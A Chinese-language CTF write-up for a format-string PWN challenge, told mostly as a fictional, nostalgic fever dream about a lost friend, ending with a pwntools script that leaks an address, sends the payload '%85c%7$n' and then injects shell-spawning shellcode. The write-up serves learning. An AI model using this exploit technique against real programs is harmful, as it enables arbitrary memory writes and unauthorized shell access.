序:
笔者最近在整理自己以往做过的PWN题,把自己的解题思路汇总成文以飨自己和读者。(相关工作进行中,后面可能也许会作为CSDN文章公开,再议吧) 在整理到这道题的时候,颇想借题发挥一下。
这道题目本身比较简单,就是考一个格式化字符串漏洞,但整理的过程中倒是让我想起了一些旧人和故事。这些东西其实已经远远脱离了题干甚至题目本身。
我肚子里实在没什么墨水,写出来的东西可能人不人鬼不鬼的,姑且就把此处当作一个树洞吧,请大家原谅我Orz。同时请大家注意,情节虚构,不要映射到现实人物哦~
(前排提醒,这个wp有点不正经)
为什么发着烧还要来做PWN题阿!学校留的任务真的很烦人啊喂。
这是什么鸟题,什么Dragon的,打得过我IDA吗?IDA,启动!......
呃,这道题函数有点多,硬看IDA看得我头都大了。
我好想睡觉....
突然,我掉入了另一个时空,穿盔戴甲,变成了一个勇士。IDA此时化作尚方宝剑NPC,自动收入了刀鞘。
呃,虽然不知道怎么会事,但是咱还是说,先想想办法看怎么回家吧。眼前是checksec的程序保护结果,这看起来就像出新手村时候大门上贴的告示一样。发现只有PIE没开,其他的都开了。看来这Dragon似乎是有点难打。
此时,一个看似熟悉但又非常陌生的声音响起,是一个女生。
“欢迎来到我的世界!我是一个巫师,已经对抗这个Dragon很久了。但是因为这个世界只有我自己在对抗它,所以始终没有足够的力量能够战胜它。勇士,请帮帮我。我会给你两个这么长时间以来,我从Dragon那里偷出来的秘密,这是它常去的两个地址,可能会帮助你更好地了解它。”
“先别说什么Drgon还是Dagron的,这我怎么回家啊!”
“对不起,请让我先纠正一下,是D-r-a-g-o-n。实在抱歉,Dragon是这个世界的主宰,我也不知道勇士您是通过什么样的方式进入了这个世界。在我之前已经有很多人做了尝试,但都没有成功。据我所知,只有打败了Dragon,才能离开这个虚幻的世界。”
奇怪的是,这个巫师小姐姐看我的眼神有点不对。我也老觉得她挺眼熟的,但就是记不起来。唉!不管了,我估计是发烧烧迷糊了。为了回家,勉为其难地,我答应了她。(才不是巫师小姐姐太漂亮了,英雄难过美人关!哈哈 =w=)
这个世界的主宰吗?无所谓,我会出手!来吧!
巫师小姐姐右手一挥,有一个刻印着秘密的图卷飞到了我的面前。尚方宝剑IDA跳出来看了一下,插在了第13行和第14行的中间,这两个值分别是 v4[0] 和 v4[1] 的地址。接着,IDA把这些字符吸收成了剑纹,是而可以伴我一起前行。
巫师小姐姐看我答应了她的请求,也非常开心。她笑着说,男子汉大丈夫立于天地间,没有一个响亮的名字怎么行!于是为了打败巨龙后流传下我们的美名,我必须给自己起个响亮的名字,就叫petermouse吧(大笑)。
就这样,我和巫师小姐姐一起踏上了讨伐Dragon的路(好草率)。
走着走着,噫,怎么到了岔路口。有两个选择,east还是up?
我其实是想直接无脑up的,但走了两步却又好像绕回了原点。这时候尚方宝剑IDA似乎有了灵气,为了不让我原地踏步,它的第29行剑纹化作骤风,把我们狠狠拽向了east,走到了sub_4009DD这条路上。
太好了,终于不是原地踏步了!呃....但为什么走着走着,又开始恐怖起来了?
而且刚才在后面跟着我们的巫师小姐姐一扭头的功夫,也突然不见了。(小姐姐,没有你我可怎么活啊)
前面出现了一个巨大的黑洞,我到底要不要进去啊.......
好在我有宝剑IDA护体!宝剑拼命地把我们往前拽,它的第15行剑纹隐隐发亮,并大有出鞘之势。好吧,都已经走到现在了,回去未免沦为笑柄,也辜负了巫师小姐姐对我们的期望,我们要做的只能是硬着头皮走下去,来吧,go into there!
这个洞也太黑了,说实话,我越来越害怕了555。
我不会tmd掉虚空了吧......
我又开始发烧了......
“嘿!别老逮着知识学了,整天对着电脑看那些破书有啥意思!长大以后,你的愿望是什么?你悄悄告诉我,就当作咱们之间的秘密,长大后咱们一起实现!”
我的脑海里突然响起了那个女孩的声音,那个语气就像那年夏天她轻声的呢喃。我们假借竞赛的名义,躲开班主任、逃掉晚自习,偷偷藏在教学楼的拐角上看星星、喝可乐。拐角的光线很暗,暗得我看不清她的脸和表情,还有烦人的蚊子一直叮我的腿,但从来没有任何一个夏天的感觉能够如此真实。
“长大以后,我们要一直一直保持联系。我们每到一个新地方,都要给对方发自己的定位,虽然我们物理上可能会被隔开,但我们的心永远在一起!前两天在我MP3上听的那首周董的歌你还记得嘛,远方传来风笛,我只在意有你的消息......”
拿到你的定位....address!是的,拿到你的定位,这是我的愿望!宝剑IDA凌冽出鞘,上面第23行的剑纹闪闪发光,将我处在的格式化字符串黑洞照得透亮,一览无余。
“哇!你的愿望这么有趣呀!哎,那你猜猜,我的愿望是啥呢?”
“高中毕业的时候考一个好大学?爸爸妈妈不再一直吵架?成为世界上第一漂亮的大美女?还是说挣一笔大钱然后环游世界啊,哈哈哈。”
“卧槽,都不是啊!!!你他娘的是装不知道还是真不知道???我拧你耳朵了!!!!”
我知道吗......疼疼疼.......我知道吗......
“听好了嗷,我再告诉你一遍,我需要先去#*&……¥*&#……。”
“之后,当我们两个重新回到一起,我们就永远永远在一起,物理上也不会被隔开!永远!!!你听见了吗?”
难道.....是要把什么东西合到一起?
抱着将信将疑的态度,我发出了巫师小姐姐给我的第一条秘密,也就是那个地址(secret[0])。周围的一切只是变得更鲜艳立体了一些,但整体还是没有太大变化。
我突然回忆起,我们两个第一次见面的时候是在一条放学回家的小路上。一群小伙伴因为年龄较小,结伴步行回家。街边昏昏沉沉,倒显得路灯格外显眼。连上我们嬉闹的样子,摆成的形状就像是 "aaaaaaa-%p-%p-%p-%p-%p......" 我越回忆仿佛这一切就越清晰,当时的我们,正处那条马路的第7个路灯旁边。
“听说这次数学好难,咱们班学习最好的女学霸同志也只考了 85 ,能让你考这个分数的卷子还挺难得的。”
“哪有哪有,过奖了,你要是没算错那道计算题,这次班里的第一名就是你了。”
“我今天数学只考了 68 ,估计回去又要被爸妈胖揍一顿了........”
“唉,别灰心,你其实很聪明的。这样,以后有不会的题目,你在QQ上问我,姐姐教给你,保你过一段时间能跟我考一样的分数。”
难道说.......要把这两件事串联起来?
在我将这两者结合起来输入进程序之后(“%85c%7$n”),霎那间周围的一切都躁动了起来。
有一个黑影在远处蠢蠢欲动,忽然就化作庞然大物径直向我冲来。
这时候巫师小姐姐突然出现,挡在了我的面前。她挺直了身躯,大声地说:
“快!就是现在!Dragon来了!拔剑斩杀它!”
“我不知道怎么做啊!”
“其实你早就知道怎么做!就用独属于我们之间的、我至今没学会的那个方法!”
独......属于......我们......之间......
你......没能......学会......
那个她曾和我说过,你们这些人整天对着电脑看书,一个劲儿地用一个女生头像的软件,这一横条一横条的是什么东西,一会jmp一会mov的,就像是在走迷宫。
我说,这叫汇编语言,是一种比较底层的语言,这一横条一横条的都是汇编指令。看起来比较难,但却也是最接近机器底层的语言之一。
“你真厉害,那你改天可得教教我啊!”
难道你,就是她?
“就是现在!”
我掏出我的IDA宝剑,对着Dragon打出了致命一击。天空迸射着刺眼的白光,四周回荡着爆裂的巨响,我眯上了眼睛。
很快,一切归于平静。巫师小姐姐也不见了。四周只回荡着一句话。
“恭喜你,你顽强地挺下来啦。但是对不起,这可能是我最后一次帮你了。以后的路你还要继续走,可不能忘了我啊!我去帮助别人了!哦对了,别忘了咱们要一起实现的愿望!”
丰功既在榜首刻,佳话留予后人说。
我能回家了吗?
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'amd64'
p = process('./string')
#p = remote('', )
p.recvuntil('secret[0] is ')
addr = int(p.recvuntil("\n")[:-1], 16)
print(p64(addr))
p.recvuntil('be:')
p.sendline(b'petermouse')
p.recvuntil('up?:')
p.sendline(b'east')
p.recvuntil('leave(0)?:')
p.sendline(b'1')
p.recvuntil('address')
p.sendline(str(addr))
p.recvuntil('is:\n')
payload = b'%85c%7$n'
p.sendline(payload)
p.recvuntil('SPELL')
shellcode = asm(shellcraft.sh())
p.sendline(shellcode)
p.interactive()
后记:
是的,我喜欢她。在教学楼拐角的那天晚上,我们聊了很多,带着青春的荷尔蒙,我们似乎亲吻了,又似乎没有。
最后,她的声音化作轻烟,隐入尘埃,永远消失在了我的生命中。
凌晨四点半,我从高烧中莫名醒来,朦胧间看到一条被我收藏已久的定位信息。
不同于其他地方,那个地方很热很热很热,热到能够将一切湮灭成灰。
哦。她在外地。她生病了。她回不来了。
她去一个人孤独地对抗Dragon了。
痛苦让我忘记几乎一切。我只记得收到那条消息是在2020年夏天。
有了丰富的经验后,医生妙手回春,我退烧了。很快,我痊愈了,完全恢复成了一个正常人。
但从那个梦之后我再也没能见到她。